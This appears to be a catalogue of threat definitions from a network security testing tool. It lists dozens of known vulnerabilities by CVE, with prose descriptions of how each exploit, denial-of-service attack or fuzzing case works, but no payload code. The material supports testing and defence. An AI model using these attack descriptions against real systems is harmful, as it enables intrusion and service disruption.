Detailed Description:	A code execution vulnerability exists in Microsoft Office Word software. The vulnerability is due to insufficient validation of certain fields related to the Smart Tags in a Word document. An attacker may exploit this vulnerability by enticing a user to open a crafted Word file, which may result in injection and execution of arbitrary code within the security context of the target user. In an attack scenario, where arbitrary code is attempted to be injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of the attack attempt. An unsuccessful exploit attempt would abnormally terminate the affected application.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP

CVEID:	CVE-2006-2492
Threat Package:	Standard
Threat File Name:	TSL20150918-04_Microsoft_Word_FcPlcfFldMom_Memory_Corruption.xml
Executive Description:	Microsoft Word FcPlcfFldMom Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Word. The vulnerability is due Microsoft Word parsing a malformed PlcfFld causing it to incorrectly initialize an object in memory. An unauthenticated remote attacker can exploit this vulnerability by enticing a user to open a specially crafted word document. Successful exploitation can result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP/HTTPS/IMAP/SMTP/SMB/CIFS
CVEID:	CVE-2015-2477
Threat File Name:	TSL20131018-07_Google_Chrome_NotifyInstanceWasDeleted_Use_After_Free_IPv6.xml
Executive Description:	Google Chrome NotifyInstanceWasDeleted Use After Free(IPv6 Version)
Detailed Description:	A use after free vulnerability exists in Google Chrome. The vulnerability is due to memory corruption while handling ready state and domcontentloaded events in a web page. A remote attacker could exploit these vulnerabilities by enticing a user to open a malicious web page. Successful exploitation could permit an attacker to execute arbitrary code in the context of the vulnerable application or bypass security restrictions.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-2912
OSVDB:	97972
Threat File Name:	FSC20090727-08_Squid_Proxy_Invalid_HTTP_Response_Status_Code_Denial_of_Service.xml
Executive Description:	Squid Proxy Invalid HTTP Response Status Code Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the way Squid handles HTTP responses. The vulnerability is due to a error when handling malformed HTTP responses. Remote attackers can exploit this vulnerability by accessing a malicious web server via the target Squid proxy. Successful attack could create a denial of service condition to the target server.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	sunfire.xml
Executive Description:	Sunfire Type of Service Attack
Detailed Description:	This threat sends out ICMP ping packets with random Type of Service bits set in the IP portion of the packet. This can crash certain versions of the Sun Fire and Netra controller firmware.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	TSL20110620-05_Adobe_Shockwave_Director_tSAC_Chunk_String_Termination_Memory_Corruption.xml
Executive Description:	Adobe Shockwave Director tSAC Chunk String Termination Memory Corruption
Detailed Description:	A memory corruption vulnerability has been identified in Adobe Shockwave Player. The vulnerability is due to the software blindly using a string-size value, which is provided in the file, to null-terminate a string. This allows an attacker to write a null-byte at a controlled offset from the beginning of the string buffer. A remote attacker can exploit this vulnerability by enticing a target user to visit a maliciously crafted web site containing a specially crafted Adobe Director file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged on user. An unsuccessful exploit attempt may terminate the affected application abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-2118
Threat File Name:	TSL20150811-25_Microsoft_Internet_Explorer_CVE_2015_2443_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2443 Memory Corruption IPv6 version
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2015-2443
Threat File Name:	FSC20040713-03_Microsoft_Windows_Shell_Vulnerability_IPv6.xml
Executive Description:	Microsoft Windows Shell Vulnerability (IPv6 Version)
Detailed Description:	There exists a vulnerability in the Microsoft Windows Shell pertaining to the method of launching applications. By using a specially crafted file name, an attacker can mask the file-type of a file. The attacker can then entice a user to open a file which appears to be innocuous, but which results in the remote execution of code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0420
Threat Package:	Standard
Threat File Name:	e107_IPv6.xml
Executive Description:	e107 File Upload Attack (IPv6 Version)
Detailed Description:	This threat takes advantage of a flaw in the e107 website system application which allows an attacker to upload an arbitrary file through PHP. This attack uploads a small script which the attacker can then use later to specify any PHP file to execute remotely. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-2041
OSVDB:	16290
Threat Package:	Standard
Threat File Name:	TSL20110614-16_Microsoft_Office_Excel_Scenario_Record_Buffer_Overflow.xml
Executive Description:	Microsoft Office Excel Scenario Record Buffer Overflow

Detailed Description:	A code execution vulnerability exists in Microsoft Excel. The vulnerability is due to a heap buffer overflow leading to memory corruption in the vulnerable product while handling specially crafted Excel files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,SMTP,SMB/CIFS
CVEID:	CVE-2011-1275
Threat File Name:	tftpd32_IPv6.xml
Executive Description:	TFTPD32 Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a request for a file of 508 A's. Causes instability and possible crashing in the tftpd32 daemon. The TFTP service typically listens on UDP port 69. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Standard
Threat File Name:	zeroboard.xml
Executive Description:	Zeroboard Command Injection
Detailed Description:	This threat injects a PHP script into the Zeroboard web application. It allows a remote attacker to execute arbitrary commands in the context of the web user. This can be used for further attacks to retrieve sensitive user account information. Zeroboard is a web application and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1820
OSVDB:	16996
Threat Package:	Standard
Threat File Name:	easymail_emprint.dll_activex_bof.xml
Executive Description:	EasyMail MessagePrinter Object (emprint.DLL 6.0.1.0) Heap-based buffer overflow vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the EasyMail MessagePrinter Object (emprint.DLL 6.0.1.0) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5070
Threat Package:	Standard
Threat File Name:	TSL20120106-03_HP_OpenView_Network_Node_Manager_webappmon_exe_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager webappmon.exe Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in the HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error when processing maliciously crafted parameters in an HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed. If successful, the code will run with the privileges of the affected CGI program.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-3166
Threat File Name:	TSL20161108-39_Microsoft_Internet_Explorer_and_Edge_JSON.parse_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge JSON.parse Type Confusion (IPv6 Version)
Detailed Description:	A type confusion vulnerability has been reported in the Scripting Engines of Microsoft Edge and Internet Explorer. This vulnerability is due to improper access of objects in memory when the JSON.parse JavaScript function is called. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to information disclosure or arbitrary code execution under the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-7241
Threat File Name:	FSC20080404-06_CA_ARCserve_Backup_for_Laptops_and_Desktops_NetBackup_Arbitrary_File_Upload_IPv6.xml
Executive Description:	CA ARCserve Backup for Laptops and Desktops NetBackup Arbitrary File Upload (IPv6 Version)
Detailed Description:	There exists a security bypass vulnerability in CA ARCserve Backup for Laptops and Desktops. The vulnerability is due to NetBackup service not sanitizing malicious content in client request. As a result, a remote unauthenticated attacker can upload arbitrary files to controllable location on the server. Successful exploitation of this vulnerability can allow execution of arbitrary code with SYSTEM privileges. (IPv6 Version)
Protocol Type:	SSDP/IPv6
CVEID:	CVE-2008-1329
Threat Package:	Standard
Threat File Name:	FSC20101214-28_Microsoft_Publisher_pubconv_dll_Size_Value_Memory_Corruption.xml
Executive Description:	Microsoft Publisher pubconv.dll Size Value Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Publisher, a component of Microsoft Office, that could allow a remote attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to an error in the "pubconv.dll" library while handling chpRun, papRun, and tapRun structures in Microsoft Publisher files. Remote attackers could exploit this vulnerability by enticing the target user to open a malicious file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,FTP
CVEID:	CVE-2010-2569
Threat File Name:	TSL20160531-02_Trend_Micro_IWSVA_domains_Command_Injection_IPv6.xml
Executive Description:	Trend Micro IWSVA domains Command Injection (IPv6 version)

Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters when processing requests to the /rest/domains URI. A remote, unauthenticated attacker can exploit this vulnerability by sending maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the process.
Protocol Type:	HTTP, IPv6
Threat File Name:	phplistpro_cmi_a.xml
Executive Description:	phplistpro config.php returnpath Variable Remote File Inclusion
Detailed Description:	This threat sends a crafted HTTP GET query which is used to include an arbitrary php or html file by setting the returnpath global variable to include a remote file. phplistpro is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1749
Threat Package:	Standard
Threat File Name:	TSL20160921-01_Red5_Server_Apache_Commons_Collections_Insecure_Deserialization_IPv6.xml
Executive Description:	Red5 Server Apache Commons Collections Insecure Deserialization (IPv6 Version)
Detailed Description:	An insecure deserialization vulnerability has been reported in Red5 web server that is part of Apache OpenMeetings application. This vulnerability is due to the inclusion of the vulnerable version of Apache Commons Collections library in the classpath combined with insecure deserialization. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted message to the RMI service running on port 9999/TCP. Successful exploitation can result in arbitrary code execution in the security context of the RMI service.
Protocol Type:	RMI, IPv6
Threat File Name:	quickdraw_pict_corruption_IPv6.xml
Executive Description:	Apple QuickDraw GetSrcBits32ARGB() Memory Corruption Vulnerability (IPv6 Version)
Detailed Description:	This threat simulates a client requesting a file, and the server replying with a maliciously constructed PICT file. This file will cause a memory corruption error in Apple QuickDraw, which is built in to Mac OS X. The transport of the PICT file is done via HTTP, which generally runs on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0462
Threat Package:	Standard
Threat File Name:	assetman_dirtransversal_IPv6.xml
Executive Description:	AssetMan PDF_File Parameter Directory Traversal Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary files to be read on the affected server. AssetMan is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1427
Threat Package:	Standard
Threat File Name:	enjoysap_kwedit_activex_bof.xml
Executive Description:	EnjoySAP ActiveX kweditcontrol.kwedit.1 Remote Stack Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the SAP EnjoySAP kweditcontrol ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3605
Threat Package:	Standard
Threat File Name:	FSC20070124-04_Apple_QuickDraw_PICT_Images_ARGB_Records_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Apple QuickDraw PICT Images ARGB Records Handling Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in the Apple QuickDraw product. The flaw is due to improper handling of PICT image files. This vulnerability can be exploited by a malicious PICT image on the target host using an affected product which leads to a denial of service condition and possibly execution of arbitrary code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0462
Threat Package:	Standard
Threat File Name:	TSL20111011-22_Microsoft_Internet_Explorer_Body_Element_Use-After-Free.xml
Executive Description:	Microsoft Internet Explorer Body Element Use-After-Free
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer (IE). The vulnerability is due to a use-after-free vulnerability when processing the BODY element. A remote attacker can exploit this vulnerability by enticing a target user to visit a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-2000
Threat File Name:	cisco_ssh.xml
Executive Description:	Cisco SSH Protocol Negotiation Attack
Detailed Description:	This threat sends a malformed SSH packet during protocol negotiation. Causes a vulnerable Cisco device to crash.
Protocol Type:	SSH
CVEID:	CVE-2002-1024
OSVDB:	5029
Threat Package:	Standard
Threat File Name:	FSC20080721-02_BEA_WebLogic_Server_Apache_Connector_HTTP_Version_String_Buffer_Overflow.xml
Executive Description:	BEA WebLogic Server Apache Connector HTTP Version String Buffer Overflow
Detailed Description:	There exists a string buffer overflow vulnerability in BEA WebLogic Server Apache Connector. The vulnerability is due to a boundary error in the Apache connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable system with privileges of the running process, normally System.

Protocol Type:	HTTP
CVEID:	CVE-2008-3257
Threat Package:	Standard
Threat File Name:	wtools_rfi_IPv6.xml
Executive Description:	WTools v0.0.1-ALPH - Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WTools is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	etherealSMBDoS.xml
Executive Description:	Ethereal NetBIOS Denial Of Service
Detailed Description:	This threat causes Ethereal to crash when it dissects the packet. This can be used by an attacker to mask further activity if an administrator is using Ethereal to analyze traffic.
Protocol Type:	NETBIOS_DS
CVEID:	CVE-2005-1468
OSVDB:	16109
Threat Package:	Standard
Threat File Name:	FSC20100209-13_Microsoft_Windows_Shell_Handler_URL_Validation_Vulnerability.xml
Executive Description:	Microsoft Windows Shell Handler URL Validation Vulnerability
Detailed Description:	A remote command execution vulnerability exists in Microsoft Windows. The flaw is due to an input validation error in the ShellExecute API function. A remote attacker could exploit this vulnerability by enticing a target user to open a maliciously crafted URI. Successful exploitation could result in execution of arbitrary commands within the security context of the currently logged on user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0027
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_curlies.xml
Executive Description:	Fuzz SMTP HELO verb with {}
Detailed Description:	Fuzzes the SMTP HELO Parameter with {} from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	TSL20120131-05_Oracle_Outside_In_JPEG_2000_CRG_Segment_Processing_Heap_Buffer_Overflow.xml
Executive Description:	Oracle Outside In JPEG 2000 CRG Segment Processing Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling the CRG marker segments in JPEG 2000 files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed JPEG 2000 file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2011-4517
Threat File Name:	TSL20110809-12_Microsoft_Office_Visio_Global_Buffer_Overflow.xml
Executive Description:	Microsoft Office Visio Global Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Microsoft Visio. The vulnerability is due to a boundary error when parsing crafted Visio files which results in a global buffer overflow. A remote attacker can exploit this vulnerability by enticing a user to open a malicious file with an affected version of Microsoft Visio. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the intention of the injected code, which will run within the security context of the current user. When code execution is not successful the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2011-1979
Threat File Name:	FSC20060411-15_Microsoft_Internet_Explorer_HTML_Tag_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Tag Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused due to the application's failure to properly handle certain HTML tags. A remote attacker may exploit this issue via a malicious web page to execute arbitrary code in the context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1188
Threat Package:	Standard
Threat File Name:	FSC20090119-11_Fujitsu_SystemcastWizard_Lite_PXEService_UDP_Handling_Buffer_Overflow.xml
Executive Description:	Fujitsu SystemcastWizard Lite PXEService UDP Handling Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Fujitsu SystemcastWizard Lite product. The vulnerability is due to improper bounds checking while handling overly large UDP packets. Remote unauthenticated attackers could exploit this vulnerability by sending maliciously crafted packets and execute arbitrary code on the target. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the privileges of the PXEService, by default System or root privileges. In an attack case where code injection is not successful, the affected service will terminate abnormally due to memory corruption.
Protocol Type:	Preboot Execution Environment
CVEID:	CVE-2009-0270
Threat Package:	Standard
Threat File Name:	TSL20150909-13_Advantech_WebAccess_AspVCObj_AspDataDriven_ActiveX_FileProcess_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX FileProcess Stack Buffer Overflow IPv6 version

Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument of FileProcess() in the AspVCOBJ.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-9208
Threat File Name:	simpleblog_sql_IPv6.xml
Executive Description:	8Pixel.net SimpleBlog ID Parameter Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. SimpleBlog an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	foing_cmi_c_IPv6.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via faq.phps "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150302-04_SAP_SQL_Anywhere_NET_Malformed_Integer_Buffer_Overflow_IPv6.xml
Executive Description:	SAP SQL Anywhere .NET Malformed Integer Buffer Overflow IPv6 version.
Detailed Description:	A buffer overflow vulnerability exists in SAP SQL Anywhere .NET Data Provider. The vulnerability is caused by insufficient boundary checks in the handling of malformed integers. If an application allows untrusted input to be used as an integer constant in an SQL query, by sending crafted requests to the application, an attacker can overflow a stack-based buffer. This could possibly lead to arbitrary code execution in the context of the application.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-9264
OSVDB:	115627
Threat File Name:	TSL20150714-32_Microsoft_Internet_Explorer_MutationObserver_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer MutationObserver Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling MutationObserver objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2425
Threat File Name:	FSC20060523-07_Linux_Kernel_SNMP_NAT_Netfilter_Memory_Corruption_IPv6.xml
Executive Description:	Linux Kernel SNMP NAT Netfilter Memory Corruption (IPv6 Version)
Detailed Description:	There exists a remote denial of service vulnerability in the Linux Kernel. The vulnerability occurs due to insufficient checks during the processing of SNMP packets by the netfilter module. By sending a crafted SNMP packet to a target host, an attacker may exploit this vulnerability to cause a double free error in the Linux Kernel; thus, creating a system wide denial of service condition. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-2006-2444
Threat Package:	Standard
Threat File Name:	FSC20071011-10_CA_BrightStor_ARCserve_Backup_Message_Engine_Insecure_Method_Exposure.xml
Executive Description:	CA BrightStor ARCserve Backup Message Engine Insecure Method Exposure
Detailed Description:	There exist unsecured Remote Procedure Call (RPC) methods in the Message Engine service of CA BrightStor Backup product. An unauthenticated remote attacker can send malicious requests to the affected interface to exploit this vulnerability. Successful attack could allow for file system and registry manipulation that leads to complete compromise of the target system.
Protocol Type:	DCE-RPC
CVEID:	CVE-2007-5328
Threat Package:	Standard
Threat File Name:	TSL20140121-08_Red_Hat_JBoss_Seam_InterfaceGenerator_Information_Disclosure_IPv6.xml
Executive Description:	Red Hat JBoss Seam InterfaceGenerator Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in Red Hat JBoss Seam Framework. This is due to a design flaw in the InterfaceGenerator handler that allows it to expose details of all classes on the server's classpath. A remote unauthenticated attacker may exploit this vulnerability on a web application powered by the JBoss Seam Framework to determine which classes are deployed on the server.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-6448
OSVDB:	102344
Threat File Name:	FSC20090512-13_Microsoft_Office_PowerPoint_Notes_Container_Heap_Corruption_IPv6.xml
Executive Description:	Microsoft Office PowerPoint Notes Container Heap Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office PowerPoint. The flaw is due to the way that PowerPoint handles HashCode10Atom records inside of NotesContainer records in malicious PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1130
Threat Package:	Standard
Threat File Name:	TSL20140421-10_CA_ERwin_Web_Portal_FileAccessServiceProvider_Denial_of_Service.xml
Executive Description:	CA ERwin Web Portal FileAccessServiceProvider Denial of Service

Detailed Description:	A directory traversal vulnerability exists in CA ERwin Web Portal. This vulnerability is due to lack of authentication and insufficient input validation in the FileAccessServiceProvider servlet when processing HTTP requests. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to delete arbitrary files recursively on a target system.
Protocol Type:	HTTP
CVEID:	CVE-2014-2210
OSVDB:	106136
Threat File Name:	TSL20160809-31_Nagios_Network_Analyzer_create_Cross-Site_Request_Forgery_IPv6.xml
Executive Description:	Nagios Network Analyzer create Cross-Site Request Forgery (IPv6 Version)
Detailed Description:	A cross-site request forgery vulnerability exists in the create user interface of Nagios Network Analyzer. The vulnerability is due to a lack of CSRF protection on the user creation form in create_user.php. A remote, unauthenticated attacker can exploit this vulnerability by enticing an authenticated administrator to visit a maliciously crafted page. Successful exploitation could allow the attacker to create a user with administrative privileges on the web server.
Protocol Type:	HTTP, IPv6
Threat File Name:	FSC20081209-16_Microsoft_Office_SharePoint_Server_ViewScopes.aspx_Mode_Handling_Security_Bypass.xml
Executive Description:	Microsoft Office SharePoint Server ViewScopes.aspx Mode Handling Security Bypass
Detailed Description:	A security bypass vulnerability exists in the Microsoft Office SharePoint Server (MOSS). The vulnerability is due to a design weakness that allows anonymous or unprivileged users to access certain administration functions of the server, effectively bypass security controls. A successful attack attempt will allow the attacker to bypass security controls and access viewscopes.aspx without providing any user credentials. The attacker can modify and create search scopes for the SharePoint site. The attacker could search confidential data and cause disclosure of sensitive information, or to supply a large scope that a search consumes all of the server's resources and cause a denial of service condition.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4032
Threat Package:	Standard
Threat File Name:	FSC20080716-03_Oracle_Database_Server_DBMS_AQELM_Package_Buffer_Overflow.xml
Executive Description:	Oracle Database Server DBMS_AQELM Package Buffer Overflow
Detailed Description:	There exists a buffer overflow in Oracle Database Server. The vulnerability is due improper input validation of parameters sent to a procedure in the DBMS_AQELM package. A remote authenticated attacker can exploit this vulnerability by sending a specially crafted SQL statement to the target server, potentially causing database corruption or arbitrary code injection and execution with the privileges of the affected process.
Protocol Type:	NCUBE-LM
CVEID:	CVE-2008-2607
Threat Package:	Standard
Threat File Name:	firefox_onunload.xml
Executive Description:	Firefox onUnload + document.write() Memory Corruption Vulnerability
Detailed Description:	This threat is a maliciously constructed webpage that uses Javascript to crash Firefox or Internet Explorer. It uses the onUnload and document.write() functions to cause memory corruption in Firefox or a null pointer exception in IE7. This threat is a client-side attack and comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	piecartpro_home_rfi_IPv6.xml
Executive Description:	Pie Cart Pro Home_Path Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Pie Cart Pro is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120508-09_Microsoft_Excel_Type_Mismatch_Series_Record_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Excel Type Mismatch Series Record Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to a type mismatch during Series record parsing. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-1847
OSVDB:	81724
Threat File Name:	jolt2.xml
Executive Description:	Jolt II
Detailed Description:	This threat mimics the behavior of the Jolt II attack. It sends multiple IP fragments, all claiming to be the last fragment. This can cause poorly implemented IP stacks to fail; for example, Microsoft patches this for Windows with MS00-029. Jolt II is typically used to overwhelm firewalls.
Protocol Type:	IP
CVEID:	CVE-2002-0305
OSVDB:	335
Threat Package:	Standard
Threat File Name:	iis_translateUnicode.xml
Executive Description:	IIS Source Code Disclosure Unicode
Detailed Description:	By sending a Translate: f header element, sending a portion of the request in Unicode, and having the target website run on a FAT32 partition, it is possible to read the source code of an ASP based website. This allows a remote attacker to read files that store database access information, and examine code for storing and reading cookies. IIS is a webserver, and typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard

Threat File Name:	goldenftp_bof.xml
Executive Description:	Golden FTP Server Pro 2.70 APPE command buffer overflow
Detailed Description:	This threat delivers a crafted FTP APPE command containing an excessively long string which triggers a buffer overflow condition. Golden FTP Server Pro is an FTP service which typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2005-4553
Threat Package:	Standard
Threat File Name:	FSC20040903-01_Apache_2_mod_ssl_Connection_Abort_Denial_of_Service.xml
Executive Description:	Apache 2 mod_ssl Connection Abort Denial of Service
Detailed Description:	A vulnerability exists in the Apache HTTP server SSL module, mod_ssl. This module, which is responsible for managing encrypted communications, can be forced into an infinite loop by the unexpected termination of connection. This vulnerability may be exploited by an attacker to cause a denial of service condition.
Protocol Type:	SSL
CVEID:	CVE-2004-0748
Threat Package:	Standard
Threat File Name:	FSC20060707-14_Microsoft_Word_mso_dll_LsCreateLine_Memory_Corruption.xml
Executive Description:	Microsoft Word mso.dll LsCreateLine Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in the dynamically-linked library mso.dll which is shipped with Microsoft Word. The flaw is caused by an improper check when processing data in Microsoft Word documents. An attacker may exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ieSaveAs.xml
Executive Description:	Microsoft Internet Explorer Save As Denial Of Service
Detailed Description:	This attack takes advantage of a format string vulnerability in the save as dialog when handling an invalid URL. This threat sends a website that when viewed by Internet Explorer will cause it to crash. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-2434
OSVDB:	8335
Threat Package:	Standard
Threat File Name:	FSC20071009-21_Microsoft_Word_Malformed_String_Memory_Corruption.xml
Executive Description:	Microsoft Word Malformed String Memory Corruption
Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Word processes DOC files. The vulnerability is a result of insufficient boundary checking while parsing a font table structure. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word document, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3899
Threat Package:	Standard
Threat File Name:	FSC20071203-05_ACD_Systems_ACDSee_Products_XPM_Values_Section_Buffer_Overflow_IPv6.xml
Executive Description:	ACD Systems ACDSee Products XPM Values Section Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in multiple ACDSee products. The flaw is due to a boundary error when processing crafted XPM files. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious XPM file with the affected application. Successful attack could allow for arbitrary code being injected and executed with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6009
Threat Package:	Standard
Threat File Name:	vwdev_sqli_IPv6.xml
